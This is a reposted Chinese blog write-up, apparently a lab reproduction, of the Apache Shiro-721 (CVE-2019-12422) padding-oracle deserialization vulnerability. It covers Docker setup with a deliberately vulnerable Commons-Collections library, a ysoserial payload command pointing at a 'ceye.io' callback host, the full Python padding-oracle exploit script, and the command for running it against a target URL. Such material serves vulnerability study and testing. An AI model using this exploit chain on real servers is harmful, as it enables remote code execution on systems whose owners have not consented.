IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> shiro721复现 -> 正文阅读

[系统运维]shiro721复现

转载至

shiro721复现 - qianxinggz - 博客园 (cnblogs.com)

转载文章也是参考https://github.com/inspiringz/Shiro-721

目录

前言#

花费了2/3day的时间复现和了解这个漏洞,其挖掘的思路涉及到的密码学知识挺有意思的,叫做Padding Oracle Attack,可以在公开的exp中看到这个思路。但是该漏洞的利用却十分鸡肋,它的加密方式决定了我们发送的payload越长,爆破方式去加密payload的过程越长。不建议花费时间去研究利用,exp可以学学。

一、环境搭建和知识储备#

1.1、影响版本#

Apache Shiro < 1.4.2 

CVE-2019-12422

1.2、Docker搭建环境#

1、获取DOCKFILE

git clone https://github.com/3ndz/Shiro-721.git cd Shiro-721/Docker 

2、构建和运行DOCKFILE

docker build -t shiro-721 . //不要忽略721后面的那个点,意为当前路径 docker run -p 8080:8080 -d shiro-721 

3、注意事项
环境搭建主要采用了网上github存在的一个镜像,复现时遇到一些问题

https://github.com/3ndz/Shiro-721

这个docker镜像中存在的war包中的lib主要是Common-Collections3.2.2的,正好是漏洞修复了的版本,不存在可利用的cc链。因此我们要下载一个Common-Collections3.1放至生成的docker对应的tomcat目录下。

docker cp /root/Common-Collections3.1.jar [dockerid]:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/Common-Collections3.1.jar 

同时还要删除原来的Common-Collections3.2.2版本的jar包防止干扰

1.3、漏洞原理#

漏洞原理没有做深入探究,看了两篇文章做了一个了解。如下

浅析Shiro Padding Oracle Attack
Padding oracle attack详细解析
根本原理就是shiro中cookie的cookiememeMe已通过AES-128-CBC模式加密,这很容易受到填充oracle攻击的影响。攻击者可以使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后制作精心制作的RememberMe来执行Java反序列化攻击。

二、复现过程#

1、整体思路#

访问登录页面,登录
请求account页面,只需要抓包时能获取到rememberMe=xxx都可
利用exp爆破payload的加密密文
获取密文后对之前请求的页面以rememberMe=xxx的格式重放
获取到命令执行结果

2、具体流程#

1、勾选Remermber Me,登录shiro认证后的页面

2、登录后点击account页,抓包获取rememberMe对应的cookie值

3、使用ysoserial生成payload,前提是环境中存在可利用的链
这里命令用双引号括起来,暂时还没有深入研究ysoserial,用单引号存在问题

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsBeanutils1 "xxx.ceye.io" > payload.class

4、利用公开exp使用Padding Oracle方式爆破payload的密文

#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']
        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
    padbuster = PadBuster()
    payload = open(sys.argv[3], 'rb').read()
    enc = padbuster.encrypt(plaintext=payload, block_size=16)
    print('rememberMe cookies:')
    print(b64encode(enc))

5、使用以下命令执行脚本,地址为登录后的需要提交cookie的页面

python shiro_exp.py http://192.168.164.152:8080/account [rememberMeCookie] payload.class 

6、经过漫长的等待(起码3个小时不间断的请求),获取到了最终爆破出来的经过加密的payload,我们将这个payload加上rememberMe在之前的页面重放
?

7、最终在docker里的/tmp目录创建了文件

三、工具利用#

使用ShiroExploit.jar#

没有验证过,因为时间太长,不适用于实际环境的测试。会把环境打崩或者ip被ban

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-04-09 18:57:31  更:2022-04-09 19:00:59 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 22:53:50-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码